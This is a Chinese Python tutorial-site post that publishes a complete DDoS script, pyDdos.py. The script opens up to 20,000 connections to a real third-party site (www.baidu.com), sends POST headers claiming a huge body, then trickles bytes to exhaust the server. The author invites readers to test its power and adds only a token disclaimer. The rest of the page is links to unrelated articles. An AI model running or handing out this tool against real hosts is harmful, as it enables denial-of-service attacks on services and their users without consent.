python版DDOS攻击脚本


Posted in Python onJune 12, 2019

本文实例为大家分享了python版DDOS攻击脚本,供大家参考,具体内容如下

于是就找到了我之前收藏的一篇python的文章,是关于ddos攻击的一个脚本,正好今天有空,就实践下了。

附上源码pyDdos.py:

#!/usr/bin/env python
import socket
import time
import threading
#Pressure Test,ddos tool
#---------------------------
MAX_CONN=20000
PORT=80
HOST="www.baidu.com"
PAGE="/index.php"
#---------------------------
 
buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
 
socks=[]
 
def conn_thread():
 global socks
 for i in range(0,MAX_CONN):
 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
 try:
 s.connect((HOST,PORT))
 s.send(buf)
 print "Send buf OK!,conn=%d\n"%i
 socks.append(s)
 except Exception,ex:
 print "Could not connect to server or send error:%s"%ex
 time.sleep(10)
#end def
 
def send_thread():
 global socks
 while True:
 for s in socks:
 try:
 s.send("f")
 #print "send OK!"
 except Exception,ex:
 print "Send Exception:%s\n"%ex
 socks.remove(s)
 s.close()
 time.sleep(1)
#end def
 
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
 
conn_th.start()
send_th.start()

OK,大家可以简单测试下这个脚本的威力,不过希望大家不要用来做坏事儿,同时,稍后我会去找一个python版本的防DDOS攻击的脚本,所谓学习攻击的方式是为了更好的抵御攻击。

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
python基础教程之面向对象的一些概念
Aug 29 Python
在Python的setuptools框架下生成egg的教程
Apr 13 Python
python套接字流重定向实例汇总
Mar 03 Python
老生常谈Python序列化和反序列化
Jun 28 Python
Python并发编程协程(Coroutine)之Gevent详解
Dec 27 Python
python实现快速排序的示例(二分法思想)
Mar 12 Python
Pycharm 操作Django Model的简单运用方法
May 23 Python
Python动态语言与鸭子类型详解
Jul 01 Python
解决tensorflow由于未初始化变量而导致的错误问题
Jan 06 Python
Tensorflow进行多维矩阵的拆分与拼接实例
Feb 07 Python
python-opencv 中值滤波{cv2.medianBlur(src, ksize)}的用法
Jun 05 Python
详解Python内置模块Collections
Mar 22 Python
selenium处理元素定位点击无效问题
Jun 12 #Python
selenium跳过webdriver检测并模拟登录淘宝
Jun 12 #Python
python3.4 将16进制转成字符串的实例
Jun 12 #Python
python binascii 进制转换实例
Jun 12 #Python
Python3 实现串口两进程同时读写
Jun 12 #Python
详解pyppeteer(python版puppeteer)基本使用
Jun 12 #Python
python实战串口助手_解决8串口多个发送的问题
Jun 12 #Python
You might like
基于mysql的论坛(2)
2006/10/09 PHP
php利用cookie实现访问次数统计代码
2011/05/19 PHP
详解php中的implements 使用
2017/06/13 PHP
dojo 之基础篇(二)之从服务器读取数据
2007/03/24 Javascript
Javascript 面向对象编程(一) 封装
2011/08/28 Javascript
js实现简单鼠标跟随效果的方法
2015/04/10 Javascript
全面解析JavaScript中的valueOf与toString方法(推荐)
2016/06/14 Javascript
jQuery表单验证插件解析(推荐)
2016/07/21 Javascript
判断js的Array和Object的实现方法
2016/08/29 Javascript
手机移动端实现 jquery和HTML5 Canvas的幸运大奖盘特效
2016/12/06 Javascript
js实现带缓动动画的导航栏效果
2017/01/16 Javascript
yarn的使用与升级Node.js的方法详解
2017/06/04 Javascript
js+html5实现复制文字按钮
2017/07/15 Javascript
详解如何用模块化的方式写vuejs
2017/12/16 Javascript
vue实现通讯录功能
2018/07/14 Javascript
详解vue移动端项目的适配(以mint-ui为例)
2018/08/17 Javascript
11个教程中不常被提及的JavaScript小技巧(推荐)
2019/04/17 Javascript
探究python中open函数的使用
2016/03/01 Python
python 读取excel文件生成sql文件实例详解
2017/05/12 Python
Python生成任意范围任意精度的随机数方法
2018/04/09 Python
matplotlib subplots 设置总图的标题方法
2018/05/25 Python
Pycharm保存不能自动同步到远程服务器的解决方法
2019/06/27 Python
python 通过手机号识别出对应的微信性别(实例代码)
2019/12/22 Python
python读取图像矩阵文件并转换为向量实例
2020/06/18 Python
使用SimpleITK读取和保存NIfTI/DICOM文件实例
2020/07/01 Python
详解CSS3 filter:drop-shadow滤镜与box-shadow区别与应用
2020/08/24 HTML / CSS
HTML中meta标签及Keywords
2020/04/15 HTML / CSS
Jimmy Choo美国官网:周仰杰鞋子品牌
2018/06/08 全球购物
乐高西班牙官方商店:LEGO Shop ES
2019/12/01 全球购物
Myprotein亚太地区:欧洲第一在线运动营养品牌
2020/12/20 全球购物
介绍一下write命令
2012/09/24 面试题
打架检讨书50字
2014/01/11 职场文书
社区工作者演讲稿
2014/05/23 职场文书
论文答谢词
2015/01/20 职场文书
开场白怎么写
2015/06/01 职场文书
golang三种设计模式之简单工厂、方法工厂和抽象工厂
2022/04/10 Golang